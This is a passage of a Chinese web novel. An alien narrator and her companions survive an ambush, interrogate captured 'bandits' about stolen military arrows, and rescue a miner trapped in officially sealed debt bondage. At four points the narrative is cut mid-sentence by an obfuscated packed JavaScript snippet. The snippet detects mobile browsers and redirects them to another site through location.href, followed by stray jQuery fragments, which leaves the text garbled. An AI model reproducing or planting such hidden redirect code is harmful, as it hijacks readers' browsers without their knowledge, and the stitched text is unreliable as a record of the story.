就在刚才的一瞬间,方启星的情绪场里突然发生了变化,阴雨连绵,浓云层层包裹住小星星,但它偏要挣脱出来,左突右撞。 方启星拉扯出一丝笑容:“没事儿。” 【新世界人际关系记录017: 新世界的人是有自己的秘密的,新世界的人是不会把当前的情况全都说出来的。 结论:需要通过情绪场进行判断,在没有系统的提示的情况下,请尽量贴合新世界观察记录,以及光忆星稳定人格手册·人际交往指导。 备注:在一个人拥有不愿说出来的秘密的时候,通常伴随的是“自己烂了”的自我感知。】 这是辛圭前两日在方启星身上了解到的。 她拍了拍方启星的肩,试图通过自己的总结进行初步安抚:“好的,如果你愿意倾诉,我随时都在。还有,”她冲方启星笑笑:“你很好。” 方启星后槽牙咬得更紧。 马车外的风声突然变了。 原本是贴着山壁向上攀援的冷风,这一刻却夹着一种细细碎碎的砂石声,从山上斜划下来。 “小心——” “快——” 两道声音几乎同时响起,温麟趾看向方启星,对方已经一个箭步冲到马车外,狠狠拽住缰绳。下一个瞬间,巨石从山上滚下。 巨大的轰鸣声仿佛在山谷中炸开,几块磨盘大小的石块纷纷滚落,一路沿着马车前行的方向落下。若不是温麟趾及时拉住了马,这两马车怕是要当场粉身碎骨,更别提其中的人了。 马惊嘶鸣,车厢剧烈晃动。恰逢转弯,整个车身向一侧倾倒。 辛圭还没反应过来发生了什么,整个人便往一侧栽倒,眼前一黑,只觉得有人一把拽住她的手腕,硬生生把她拽了回来。 “趴下。”耳边是温麟趾沉稳的声音:“别探头。” 落石声还在继续,尘土从帘布外涌入,扑面而来。 温麟趾整个人俯在辛圭上方,却又保持着适当的距离,几块小一点的碎石从另一边砸进来,落在他身上,他却毫无反应,只是低头问辛圭:“有没有被砸到哪里?” 他声音压得很低,热气在狭小的车厢里打了个转,落在她的耳侧。 辛圭摇头,又点头,似乎还没理清楚哪儿疼哪儿不疼,只是本能地回答:“还好。” 外面传来一声尖锐的哨声,几道身影从树林里窜出。 对方脸上抹着一层黑灰,看不清原本的模样,身上披挂着旧布和破皮甲,手里却是长刀和短棍,甚至还有人拎着弓。 “娘的,”为首那人声音粗哑:“运气还不孬。” 温麟趾眉头微蹙,真正的山匪见到商队的车,第一反应永远是留货留财。可对方一上来就下了死手,显然不是为了抢货抢钱,而是朝着杀人灭口来的。 他按住辛圭的肩,低声说道:“别抬头,贴车板。” 辛圭立刻缩到车厢一角,背紧贴着木板,耳边近乎都是自己的心跳声。 下一瞬,第一支箭破风而至。 “你——”方启星话还没骂完,温麟趾已经从车内出来了,他一脚踹翻车辕,整个木架“哐啷”一声侧倒,正好架在车身前侧,变成一块粗糙的盾牌。那支冷箭“哒”地钉在木板上,箭尾颤动不休。 另一支箭射过来,温麟趾单手撑在车门,腰身微微一侧,像是早就算好了角度,手腕一翻,短刀“锵”地出鞘,刀背一挑,硬生生将那箭杆削断。 方启星眼看着,脑中不合时宜地想到:这是落魄书生?这是练武防身? “带着人往贴山那边退,”温麟趾压这声音,飞快吩咐,“车先别动,人下车。” “好。”方启星应下,快速带着辛圭、车夫和杜掌柜贴向山边。 而另外一头,温麟趾话音方落,人已经从车辕后腾身而出,像一道影子,贴着地面滑到两块石头之间,借势一跃,短刀斜斜劈下。 刀落,便有人往旁边栽去。 温麟趾动作干净利落,丝毫没有“第一次遇袭”的生涩。那种从容和胸有成竹感,是屡次在刀尖上走过的人才会拥有的。 “啧。”方启星此刻正在另一侧和两个人纠缠。情势紧急,他手中只有随手抄起的一根木棍,打在对方膝弯,发出一声短促的脆响,对方整个人跪地,刀也脱手而出。 方启星顺手接过刀,那边温麟趾身形一转,正好挡住另一支射来的冷箭。箭头擦着他的袖子划过,布料被扯开一道口子。 短短一刻钟,地上便多了几个躺着爬不起来的人。还有两三个见势不妙,开始往山上撤。 “追吗?”方启星问。 “别追。”温麟趾收刀,压下心里的躁意:“他们对山势更熟悉。” 他走过去,顺手捡起一支掉在地上的短箭,在指间转了一圈。 箭杆细长,羽翎整齐,箭镞不是一般铁匠铺粗糙的打磨,而是极规整的开刃,连铭记角度都近乎统一。 “山里铁匠这么有本事?”方启星也凑过来,瞥了一眼,笑意却一点都不温和,“这要是送到京营,怕是都能过关了。” “所以不是山里铁匠。”温麟趾淡声道。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852549|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬眼,看向刚才那几人来的方向,目光收紧:“城里的铁匠,做给‘该上战场的人’用的。” 他想起由此自己随父亲出征,补给不足,甚至要从尸体上拔箭。可能从来没有人想过,从相识相熟却已经死了的人身上拔箭是一种什么样的体验。血早就干透了,只剩下一截截暗褐色的痕迹,像是对活着的人的诅咒。 可就在这里,却有人可以用这些本该上战场的箭,替自己扫清道路。 温麟趾敛眸,没有多说什么,转身走回马车旁查看情况。 杜掌柜已经吓得腿软,虽然出商多年,遇到的马贼劫匪也不少,但却从来没有这样一上来就要人命的。但他还是尽职的将辛挡在自己身后。 辛圭看起来状态还好,只是人奇奇怪怪的,双臂向后,像是在拥抱自己,但拳头却攥得很紧,指尖都在泛白。 “没事了。”温麟趾压低声音,伸手想去碰她,又在半空中顿了顿,最后还是轻轻拉过她的手。 手僵得厉害,指节一根根绷得死紧,他又怕伤到她,稍费了些力气才将手指展开。掌心已然被抠出了红印。 “没事了。”他又说:“已经没事了。” 辛圭深吸两口气,重重地点了下头。 温麟趾又对方启星说:“检查下有没有活的,能说话的,带走。” 他转头再次看向辛圭,确认似的问道:“怎么样?” 辛圭抬头看他,眼睛里泪汪汪的,说起话来也颤颤巍巍:“可以……帮我拿一块糖吗?就在我的小口袋里,我需要一块……糖。” 她说“需要”的时候声音很小,几乎听不见。 他掏了一块柿子糖出来,放进她口中。糖还没碰到舌尖,她就着急地抿了一下,舌尖不小心刮擦到他的指尖。 指尖像是被烫到,温麟趾条件反射地将手撤回,又觉得太过夸张,只好把手背在身后,轻轻握成拳。手心一片发烫,好一会儿都没缓下来。 辛圭抿着糖,试图通过缓慢记录来平复自己的心情: 【新世界事件记录013: 被山匪打劫。真的有山匪。还有落石和箭。 山匪特征:脸黑,衣服破。】 方启星拖了两个还晕着人过来,辛圭已经基本缓和了,她问:“为什么要绑他们?” 方启星看见辛圭此刻可怜巴巴的模样,便想着说两句逗乐的话来缓和她的情绪:“这两个人可能都想不到,一会儿还得上晚课,被先生敲着脑袋问‘你们为什么要这样?!’” 辛圭听见,噗嗤一声笑了,眼中的水光也散了些,认真纠正:“那应该是给他们安排作业。” 方启星系紧绳结,“有的人这辈子都没写过一点有用的作业,今天算是帮他补一补。” 忙乱渐渐平息下来。 “先歇一炷香。”温麟趾对众人说,“马受了惊,再不安抚,后面的路更难走。” 辛圭站在乱石间,抬头看了看刚才落石的山壁。 她在心里默默记录: 【附注:大家在危险时刻都非常可靠。表扬。特别是样本004和样本005。】 她看着脑海中的哪行字,犹豫了一下,在样本005下面画了两道横线,又删除掉。 记录完毕,她感觉到手指还在抖,但心跳却平稳了下来。 她抬头,正好对上温麟趾看过来的视线,他朝她微不可察地点了点头。 25. 第 25 章 马车整顿之后便继续上路,但碍于带着两个“山匪”,还要审讯他们,不便去驿站落脚,几人便商议好了,沿途找了个能看见村镇的山坳暂时对付。 山坳里说不上宽敞,勉强能容下几个人歇脚,上面有处探出来的岩壁,挡住山上下冲的风,又点了篝火,还算是稳妥。 杜掌柜和车夫在外面整理马草望风,两个“山匪”则被反绑着扔在洞里,嘴里塞着破布,此刻已经醒了,哼哼唧唧不啃老实。 “先把他们嘴里的布拿下来。”温麟趾开口。 方启星“啧”了一声,伸手扯掉布:“想喊可以,但山里风大,也没什么人能听见。而且把小爷我喊烦了,可别怪我不客气。” 那两人咳了半天,再说话嗓子都是哑的。 “你们想干嘛?”其中一个瞪着眼,似乎在给自己壮胆。 “先聊聊。”方启星捡起一块石头,漫不经心地抛了两下,“刚才你们在山上扔石头不是挺带劲儿的吗?总该轮到我扔一回了吧。可惜,我搬不动那么大的石头。” 温麟趾和方启星不同,他蹲下身,语气沉静:“你们做这一票多久了?” “啥一票?俺们,俺们就是看你们有银子。” 话还没说完,温麟趾猛地将手里的箭插在地上,箭尖擦过两人的腿,没入土中后羽翎还在微微颤抖。 “箭是哪儿来的?”他问。 “俺们捡的!”其中一人还在嘴硬。 “捡的。”温麟趾微微点头,慢条斯理地说:“一个规格,一个制式,羽翎这么齐,箭镞这么薄,箭杆这么直。” 他每说一句,手指就在箭杆上轻敲一次。 “你们说是山匪,”温麟趾一顿,“好,那就按山匪的规矩来。一句话换一根指头。说晚了的说重复了的,不算。” 有人吞了下口水,脖子一缩,眼睛瞟向温麟趾手上的短刀。在这个人手上吃过大亏,显然并非对手,而且对方显然还是懂行的…… “俺、俺啥也不知道,就是头儿叫俺来的。” “闭嘴!”另一个人出声呵斥。 温麟趾使了个颜色,方启星把嘴硬的那个人朝山洞外面拖去,一边摇着头:“兄弟,你们这同事关系不怎么样啊,他要是抢先都说了,你不就没话说了嘛。” 温麟趾这才看向那个已经乱了阵脚的人:“你叫什么?” “俺叫二狗子。” “刚才你说,是头儿让你们来的?” “嗯。”对方点头如捣蒜。 “这批箭,一直都在你们那儿吗?”温麟趾问。 “前几日才送来的,俺去搬的。” “那你去哪里搬的?” 那人眼神飘忽,抿了抿嘴,说到:“是俺们洞里。” 温麟趾原本的语气还算和缓,听到他这么说,眼神冷了下去:“我忘记说了,说谎立刻会少一根指头。” 他话音未落,便举起刀作势下挥。 “别别别!”对方急了:“不是洞里,不是洞里,是府里!府里张主……” “张主什么?”温麟趾追问:“张主事?张主簿?张主簿吧,听上去合理一点。” 二狗子此刻却死死咬住嘴唇,不再吭声。 辛圭站在不远处,认真地看着这场对话实验。原本车队的人都是不愿意她旁听的,但耐不住她一再请求。 【新世界事件记录014: 在没有系统提示的情况下,可以通过反复提问、拆分信息、诱导回答、威逼恐吓的方式,从对方口中得到信息。 备注:样本004的审问能力很强,强到好像能看透二狗子的弱点,以及他在想什么。】 温麟趾站起身,似是无意拍了拍衣袖上的灰,没人看到他的指尖在轻微发抖。 张主簿这个称呼,对其他人来说不过是一个小吏,可对温麟趾来说,并不陌生。 在他父亲最后一次出征前,军需文书上有这么一个签名,是他后来翻阅过无数遍,记得清清楚楚的一行小字:商州官仓点验,张取礼。 那一仗之后,父亲自戕,便再也没有回来。 “温子修?”他耳边忽然响起李成圭的声音。 她向他走来,仰头看他:“要不要喝口水?” 她好像是找了很久的语句,搜肠刮肚,才问出来的。因为此时此刻温子修的情绪场:【样本004号补充:井水内部在沸腾,表面看起来是凉的,里面却还在烧。】 温麟趾回神,压下心里的波动,当自己是那个一板一眼的长随:“小姐,这事不劳您费心。” “可……”辛圭想了想,又抬头看他:“张主什么的,欺负过你?” 温麟趾可以说“没有”,也可以随便找个借口搪塞过去,所有的这些话都在他心里过了一遍,甚至已经组织好了说辞。 但李成圭就那样看着他,眼中没有探究,也没有兴奋,只是单纯的好奇,还有担心和认真。 “是。”他最终只说了一个字,声音很轻,瞬间就散去了,却像落在心口上的一记实锤。 辛圭“哦”了一声,很自然地在记录上添了一行:【新世界人际记录021:样本004第二次面对过去的伤害。】第一次是面试的时候,他说练武的原因。 “那他今天又伤害了你一次,”她斟酌着说道:“是那些本来上战场的箭?” 温麟趾指节一紧,他说不出任何话,好像藏着的秘密被她一眼看穿。她用几乎是归纳性的语句下了结论,却小心地只是询问。 辛圭感觉到温麟趾情绪场里的井水表面微微晃动,深井就是如此,表面一点点轻微的晃动,里面却已经是惊涛骇浪。 “所以有人在偷箭,偷那些本来应该上战场的箭。”她认真想了想,又补了一句:“人烂掉了,比柿子烂掉更可怕。” 她说这话的时候语气平平,却偏偏没办法让人一笑了之。 辛圭补充道:“柿子烂掉了,可以做柿子酱。人烂掉了,只会偷更多柿子。” 温麟趾嘴角轻轻勾起,他很少笑,此时的笑中带着些酸意:“你总是能用很奇怪的方式得出一个,其实很精准的结论。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857293|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢谢夸奖。”辛圭一本正经地接受了:“这个叫做推导能力良好,是我的基本能力。” 一名小说家,怎么能没有推导能力呢? 她顿了顿,低声对温麟趾说:“如果可以,我愿意帮你写他们的作业。” “作业?”温麟趾没明白。 “嗯。”辛圭看向山匪:“你不是要问他们为什么要放箭、为什么要扔石头、为什么不希望我们活着吗?这是他们的错题。但出题的人,是指使他们的人。我不太会查出题的人。”辛圭坦然说道:“但是你会。所以,这些出题的人,你来负责。等有一天你查完了,我帮你把这一页记录清楚。” 她说这话的时候,嗓音还在轻微发颤,却很倔强。没有强烈的询问,没有同仇敌忾,但温麟趾心里一直压着的那股火,突然就烧得没有那么乱了。 他想到了一个词,一个冒出来的瞬间,他也觉得很荒唐很莫名其妙的词,一个无论如何都不应该和李成圭三个字放在一起的词:并肩。 “好。”他说:“我负责查出题的人。” “成交。”辛圭很认真地伸出手。 温麟趾看着那只手,忽然觉得有点好笑,刚才她因为害怕,把自己掐得掌心发红,现在却伸过来,掌心向上,好像要给予他什么。 “手还疼吗?”他问。 辛圭摇了摇头。 于是他伸出手,与她轻轻一握。 她的手还有点凉,而自己的掌心,却热得过分。 温麟趾改变主意了,他将两个“山匪”扔在山洞里,任他们自生自灭,催促着车夫继续前行,去往最近的村镇驿站落脚。 山里风大,她一个女孩子,容易着凉。 “明天启程,我们不按原定路线走了。”温麟趾同杜掌柜商议道:“安全第一,对方显然提前知道我们的路线。” 杜掌柜点头:“登州那边有座铁矿,前几年朝廷放了一部分铁权,那处便重新开起来了,路况比这边好走,就是多饶了一点路。” 方启星觉得这个主意好,在旁补充道:“绕着走好,免得有人觉得石头不够用。” 杜掌柜欲言又止,想了半天,最后叹了口气:“要是真是商州府衙派来的人,咱们就算了。回去报给老爷,兴许思交镇的那笔账就划了。” 早先他刚入行的时候,也是年轻气盛一股子冲劲儿,冲了没多久,冲不动,墙不动,还撞了自己一身伤。如今再看年轻人这样,便只想劝他们算了。 辛圭看着杜掌柜,抿了抿唇,轻声说道:“思交镇的账可以划,商州的账也可以划。可是……下一次他们要是还在成记行的货里动手脚,出了事儿,划掉的是成记行吗?” 杜掌柜闻言脸色一白。 “他们伤害我们,好像是知道我们会怕,会退让,可不能一直退的。”辛圭补充道。 杜掌柜喉头动了动,想说点什么,最终只是叹了口气,再抬头时脸上挂着笑:“明白了。”想起自己曾经的年轻岁月,他也开起了玩笑:“唉,明白了早知道当初就不应该跟着小姐一起出来的。” 26. 第 26 章 伴着远离京城的路,那股能把人一并蒸腾了的热气逐渐退却。 登州的云压得很低,落在山脊线上,把山色磨得发钝。山体也不完全,连绵当中总有几块豁牙,岩体突兀地立在外面,连野草都不愿上去安家。 辛圭听他们的意思,本以为路况要比商州好走,没想到这个好走只是相对的。这里的路宽敞,但却很硬,整个空间都像一把磨刀石,能把人的骨头都磨得发光。 马车途经一片棚屋,黑瓦灰墙,烟气贴地飘着,并不往天上散去,远处的矿口像张开的嘴,吞进去的是人,吐出来的是铁。 光忆星的开采场不是这样的,当然也没有人会进去,全是光滑整洁的机械设备,为的是防止烟尘土灰伤害齿轮。 辛圭觉得,光忆星和新世界比起来,是一个很奇怪的地方,好像很重视每一个人,但其实又不在意他们究竟想要什么。 当然,光忆星的人可能也没有什么想要的。毕竟如果有想要的,就会不稳定,而光忆星的最高宗旨,当然是稳定。 还没等她想明白其中的差异,马车外先传来一声闷响。 辛圭探头一看,是个旷工扛着一筐矿石摔倒了,整个人连筐一切被砸在了石地上,筐里的石头滚了一地,他趴着,半天没爬起来。 旁边的人急忙去扶,有人低声骂道:“快点,炉口不等人,耽误了炉口可是要挨打的!” “他怎么了?”辛圭问一旁的方启星。 “累的。”方启星答道:“矿里的人都这样。” 辛圭又看那个人,他嘴角有丝暗红,像是摔倒的时候不小心咬破了舌头。“不是,他呼吸好像很浅。他是不是喘不上气?” 方启星沉默,过了一会儿才说:“矿里粉尘重,肺不好的人多,歇一会儿就缓过来了。” 随着马车的远去,辛圭扒着窗户一直在看,那个人好像歇得有点久,直到有人将他抬起来放到一边,有人将他筐里的矿石背走,他也没有缓过来。 “他……不会有事吗?”直到那个人变成一团模糊的黑影,辛圭才慢慢松开手,低声问道。 方启星没有立刻回答。 矿上有人在吆喝,工具碰撞的声响此起彼伏,那种声音并不尖锐,却有一种持续不断的压迫感,像是在告诉所有人:这里,没有停下来缓缓的余地。 “有事,也是他的命。”方启星最终说道。 他说完这句话,突然意识到这话太冰冷了,便补了一句:“矿里人多,管不过来。” 辛圭转头看他,她没有反驳,只是看着,目光很认真。 “矿工,是零件吗?”她问。可随即她又摇了摇头:“不是。” 如果矿工是零件,一个系统在持续损坏零件,应该先停机检查,而不是要求零件继续工作。 所以,甚至不算是零件吧。 马车里很安静,温麟趾一直没有说话,他坐在车厢另一侧,手指搭在膝上,指节微微收紧。 他当然看得出,那不是简单的累倒。呼吸浅、嘴角有血、倒下后无法自行起身,这是人体长期高损耗后的必然结果。 可问题是,他太熟悉这种场景了,他也很理解方启星所说的话,因为曾经的自己,也会用同样的话来做判断——“继续走,不能停”、“人可以自己适应”、“这是必要的代价”、“先赢下来,再说对错”。 “停车!”辛圭突然开口。 马车在矿场边慢慢停下来。 “你要做什么?”方启星低声问。 “我不知道。”辛圭深吸一口气,回答道:“但我知道,如果我现在什么都不做,我会一直记得他趴在地上的样子。” 辛圭跳下马车,脚踩在坚硬的石地上,一股寒意顺着鞋底直往骨头里钻,她走向棚屋的方向。走着走着,似乎觉得自己动作不够快,跑了起来。 有人注意到她,矿工们偷来迟疑又警惕的目光。 辛圭走到那人身边,他脸色发青,胸口的起伏浅到几乎无法察觉,嘴唇微张,却好像吸不进多少气。 “他需要大夫,立刻。”她抬头看向跟来的方启星和温麟趾。 旁边有个矿工探出头:“他哪里有银子看大夫?你让他歇一会儿,一会儿就能爬起来继续干活。” “继续干,可能就没命了。”辛圭眉头皱了起来,好像在生气。 她伸手去架那个人的胳膊,方启星见她动手,叹了口气。李成圭在商州能把烂柿子变成生意,在这里就能“偏要试试”。他连忙抬人,顺势把辛圭挤到一边:“你真要管?这是矿里的事儿。” “现在是我的事。”辛圭答道。 她说这话的时候,心跳很快,快得让她有些晕眩。可这并没有让她退缩,反而让她更清楚地意识到自己在做什么。 这不是系统的任务,也不是既定流程。 这是她第一次,在没有任何要求,没有任何授权,没有任何商量的情况下,选择插手一个个人的事。 她转头看向温麟趾,没有开口,可是温麟趾明白她在表达什么,她所表达的是一个她已经做出的决定。 “我们先把人抬上车,先送去最近的镇子。”温麟趾说道。 方启星闻言挑了下眉:“行。” 矿工们面面相觑,有人小声嘀咕:“这……不合规矩吧。” 辛圭转头看着他们,那名被抬走的矿工在半昏半醒之间,手指轻轻抓了抓辛圭的衣角,又很快松开。 马车重新上路时,矿场的烟雾还贴在谷底,没有散,那持续不断的敲击声响,也未曾停。 她突然理解了刚才那人说的话——“炉口不等人”。原来“炉口”是一个比喻,炉口不等人,所以人就不再是人。 辛圭坐回车里,背靠着车壁,缓缓记录: 【新世界环境记录·登州·004: 登州的规矩:让人死。 使用场景:当人所能提供的产能低于消耗时。】 马车从矿场的硬石头路上拐出,沿着一条更窄的土路往下走,风中有铁锈的味道,也有潮湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864737|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的草腥,像是用一条规矩,洋洋洒洒把整个山都罩住。你在其中,便无法逃脱。 辛圭一直盯着那人的脸,那张脸灰败得想被炉灰摸过,看不出原本的轮廓,嘴角的暗红早干了,结在裂开的皮肤上。 “他会不会……”她话说道一半,又吞了回去。她并不想给这句话一个结尾。 温麟趾坐在对面,视线落在她捏得发白的指节上,开口后声音便比平时轻些:“先到镇上,到镇上,大夫谈‘会不会’。” 辛圭点了点头。 很快,山坳里显露出人烟。 镇子不大,却比矿场那边热闹,路边有卖烧饼的,油烟向上飘散。还有挑水的孩子,赤脚踩在石板上,脚底黑得发亮。镇口立着一块木牌,上面写着“炉口镇”三个字,木牌也被烟熏得发黑。 车夫一勒缰绳:“到了。” 辛圭几乎是跳下车的,转身就要去抬人,被方启星一把拦住:“你别抢活儿,刚才你这一路手像筛子似的,别给人摔了。你就负责你最擅长的那个,指挥。” 辛圭深吸一口气,强迫自己站定,稳住心跳:“先抬进去。” 老大夫正在里面挑药材,见他们抬人进来,眉头先皱起:“放那儿。” 他伸手翻了翻矿工的眼皮,又掰开他的嘴,几乎没有怎么仔细看,就下了结论:“气闭,肺里堵着。” “能治吗?”辛圭问得很快。 老大夫看她一眼:“能缓,根却难治。离矿远点,好好养着,少吸点灰,能多活几年。” 辛圭声音有点发紧:“药钱我出,先把他救过来。” 老大夫点点头,转身去配药,嘴里还念念叨叨:“命好啊,出门遇贵人,遇不着贵人就只好去遇阎王爷。可是贵人能有几个?鬼差却大把。” 方启星走到门外,看着不远处的矿场,眼底掠过一丝寒意。他明白大夫话里的意思,自然也知道救一个救不了所有,矿场向来如此,哪里不是如此?也正是因为如此,他才义无反顾地跟着陆居平闹腾。 他深吸一口气,自己如今做的,只是为了以后没有烂了的柿子,矿场里倒下的人。 就在这时,几个穿着灰色短褂的人闯了进来,为首的是个脸颊凹陷的管事,鼻梁上有道旧疤,直直地进了医馆。 一进门,管事环视一圈,冷笑道:“赵三,你倒会偷懒,躺到医馆来了。” 榻上的矿工半昏半醒,喉咙里滚出一声既像咳嗽又像喘息的动静。 方启星转身挡在几人面前,语气吊儿郎当:“这位……疤脸大哥,进门不先问大夫一声,倒先问病人,矿上规矩这么大?” 管事扫他一眼,看向站在一旁的杜掌柜,认定了他就是话事人:“你们把我们的矿工抬走,耽误了我们开炉口。” 杜掌柜连忙拱手:“一个倒下的人,能干多少活,这不是言重了吗?” 管事的脸色一沉:“倒下是他故意偷懒。矿上缺了一个人,谁替他干活?你们把人带走,他欠我们的口粮,住宿,谁来还?” 27. 第 27 章 老大夫早就习惯这套说辞,在炉口镇,炉口就是王法。他把一撮药材撒在秤盘上:“你们矿上的账,别在我这儿算,这里是医馆。” 杜掌柜脸上陪着笑,心里却悔不当初,自己就应该和小姐同乘一辆马车,当时就能劝阻。哪像那两个小子,小姐说什么就是什么。这登州的矿,从来就不是能讲理的地方。 辛圭看着管事鼻梁上的旧疤,突然问了一句:“你刚才说的欠,欠的是谁?” 管事觉得可笑:“当然是矿上。” “矿上是谁?”辛圭追问:“是你?还是谁?还是那个炉口?” 她是真的不知道,想问清楚到底欠的谁,如何欠的,这才能解决问题,但这话到了管事的耳中就成了某种挑衅。 他眼神狠厉起来:“这哪儿有你说话的份儿?!人,我们得带走,不然,你们就帮他把欠的银子给了!” 他抬手就去拽榻上的矿工,方启星脚尖一错,先一步横在前头:“疤脸大哥,咱们事儿还没商量出个结果,怎么直接动起手了?” 管事骂道:“滚开!这地方,我说的就是王法,你和王法商量?” “哦?”温麟趾淡淡开口:“登州离京城并不远,当地亦有自己的地方官,我倒不知,还有其他的王法。” 管事转头看温麟趾,见对方衣料并不华贵,冷笑一声:“站得倒是笔直。听着一肚子墨水,怎么?考不上秀才,只能出来跑商?” 温麟趾没答,问向老大夫:“他这口气,能吊多久?” 老大夫慢吞吞道:“药下去,能醒。但再回矿里,就当我没救过这个人。” 管事冷笑:“听见了?别装善心。如今我是给他一条活路,让他能回去还债,不然少了他一个,矿上照样有人干活。他死了还不上,让他家里人继续还。” “他欠你们多少?”辛圭开口问道。 杜掌柜在旁闭上眼睛,对方这显然就是在讹人,看着有好心人,非得刮层皮下来不可。 还没等管事的狮子大开口,辛圭往前一步,挡在榻前:“你说他欠口粮,欠住宿。我可以出,但是——”她竖起三根手指:“第一,他今日倒下之前,扛过多少筐,可有记录?这个要算在抵账里。第二,你们矿上的口粮和住宿,是按照天扣还是按照筐扣,你有账吗?第三,他现在显然已经不能继续回去工作了,这不叫还债,叫抵命。” 老大夫抬眼打量辛圭,杜掌柜也愣了,因为知道他们这是糊涂账,也知道这就是矿上的情况,所以自然而然地就接受了管事的说辞,从一开始就站在对方的角度上思考了。 辛圭伸手摸出荷包:“他欠多少,你拿账来,我按账结,你拿不出来,就说明你就是想让他死,想让他家里人继续还糊涂账。” 管事盯着那荷包,眼神闪了闪,又笑了:“小姑娘,你以为这里是和你坐下来对账的地方?你一个外地的,你懂矿上停一个炉口损失多少吗?他现在不仅仅是欠我们银子,他还导致我们炉口开不了,这也要赔。” “炉口停了吗?”辛圭认真问道。 管事脸色凝滞,恼道:“你少在这里胡搅蛮缠!他倒下,别人顶上。别人顶上,谁去顶别人的?矿上缺人,缺人就得罚!” “所以炉口没停。”辛圭点点头,推断道:“既然炉口没停,你刚才说的就是在恶意抬价。” “你——”管事脸色涨红,伸手就要抓辛圭。 温麟趾上前一步,握住管事的手腕,冷声道:“你若要银子,就按她说的,账拿来。你若要人,今日不给。” 管事手腕被他捏得生疼,龇牙咧嘴:“你你!你们影响矿场,我要去报官!” “我陪你去报官。”温麟趾将他往后一推,说道。 管事闻言,眼底那点凶狠闪了闪:“你陪我报官?你以为衙门会帮你?炉口镇的衙门,也是靠这矿上吃饭,你们把矿上的人抬走,就是断人财路。断了财路,你猜谁先倒霉?” 杜掌柜脸色发白,连忙拱手:“管事爷,咱们和气生财,和气生财。我们这不是愿意出银子,也愿意赔不是。我们就是路过,打算休息整顿一下就走,咱们没必要搞得这么狼狈。万一以后有什么能互相帮上的机会,也算是相识一场。” 他一边说,一边悄悄去找辛圭袖子,示意她别再继续顶撞。 “晚了!”管事抖着自己刚才被抓疼的手腕,示意身后的人去请里正。“今天我要是让你们平安走了,以后这矿上的人能翻了天!” 几人僵在这儿,没过一会儿,一个腰杆挺硬的老人被半请半推的带进来。他穿的长衫比其他人都要好都要干净,山羊胡子挂在下巴,眼睛里透着几分精明。 管事一见里正来了,站在门口给他使了个眼色,转身冷笑着说:“里正来了,账也来了。大小姐,对账吧。” 里正抬眼看向辛圭,眼皮微微起皱,似乎是在掂量:“你们是哪家的?” 辛圭还没开口,温麟趾先一步说道:“路过的人。” 管事嗤笑:“路过的人,倒想管登州的天。” 里正拿过一叠纸,随手翻了两页,抽出来递给辛圭:“账在这儿,你们要怎么结?” 辛圭接过纸,欠条、口粮、住宿、工具折损,每一项都写得在理,但也隐隐藏着狠辣。按照上面的写法和利息的算法,就算是一个人不眠不休干上一辈子,也根本还不出那么多银子。 她翻到最后,突然停住。那页纸的角落,有一个印戳。 不是矿上的印,也不是里正的印,而是…… 辛圭抬起头,一字一句地:“这张欠条上,为什么会有官印?” 里正在旁捋了把胡子,似乎早就料到她会这么问:“矿上不是不讲道理,也预料到这些人到时候总要耍心眼。矿上也不是接济灾民,定然要找官府做个中间证人,这才免得日后麻烦。不然矿上人来来去去,谁来管?也省得你们外乡人说我们欺负人。” 温麟趾拿过那张欠条端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870471|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,那方印并不是炉口镇的,甚至不是登州的,而是司金属下冶官的印。 司金属掌管天下铁物及矿产,冶官是分散在各矿区的直属官员。可这私人矿场的“卖身契”怎得会有冶官的官印? “司金属冶官刘常”,他轻声念出官印上的名字。 刘常。 这一方小小的红色朱砂印,让他想起某个旧纸上的名字。那是一张军需单,弓箭那项里,盖得就是这个冶官的印。 “怎么?”里正笑笑:“这事儿,就算你去府衙上掰扯,也是赵三欠钱。欠债还钱,天经地义。” 他这话说得笃定,仿佛早就知道府衙会站在哪一边。 温麟趾的眼神冷了下来。 他意识到,这并非矿场的问题,也不是里正的问题,甚至不是冶官的问题。这是一条被人精心铺好的线。 